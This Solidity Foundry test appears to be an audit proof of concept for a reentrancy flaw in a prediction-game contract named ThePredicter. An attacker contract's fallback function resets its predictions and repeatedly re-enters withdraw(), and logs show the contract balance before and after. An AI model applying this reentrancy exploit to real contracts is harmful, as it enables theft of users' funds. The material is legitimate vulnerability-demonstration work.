function test_poc_rewardsDistributionWithdrawAll() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
address attacker = address(
new AttackContractByWithdraw(
address(thePredicter),
address(scoreBoard)
)
);
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(attacker);
vm.stopPrank();
vm.startPrank(attacker);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
console.log(
"thePredicter balance before:",
address(thePredicter).balance
);
console.log("attacker balance before:", address(attacker).balance);
vm.startPrank(attacker);
thePredicter.withdraw();
vm.stopPrank();
console.log(
"thePredicter balance after:",
address(thePredicter).balance
);
console.log("attacker balance after:", address(attacker).balance);
}
}
contract AttackContractByWithdraw {
ThePredicter thePredicter;
ScoreBoard scoreBoard;
constructor(address thePredicterAddress, address scoreBoardAddress) {
thePredicter = ThePredicter(thePredicterAddress);
scoreBoard = ScoreBoard(scoreBoardAddress);
}
function caculatedExpectedReward() internal returns (uint256 reward) {
uint256 entranceFee = 0.04 ether;
int8 maxScore = -1;
int256 totalPositivePoints;
int8 score = scoreBoard.getPlayerScore(address(this));
uint256 shares = uint8(score);
uint256 playersLength = 4;
for (uint256 i = 0; i < playersLength; ++i) {
int8 cScore = scoreBoard.getPlayerScore(
address(thePredicter.players(i))
);
if (cScore > maxScore) maxScore = cScore;
if (cScore > 0) totalPositivePoints += cScore;
}
uint256 totalShares = uint256(totalPositivePoints);
reward = maxScore < 0
? entranceFee
: (shares * playersLength * entranceFee) / totalShares;
}
fallback() external payable {
scoreBoard.setPrediction(address(this), 1, ScoreBoard.Result.First);
scoreBoard.setPrediction(address(this), 2, ScoreBoard.Result.First);
uint256 reward = caculatedExpectedReward();
if (address(thePredicter).balance >= reward) {
thePredicter.withdraw();
}
}
}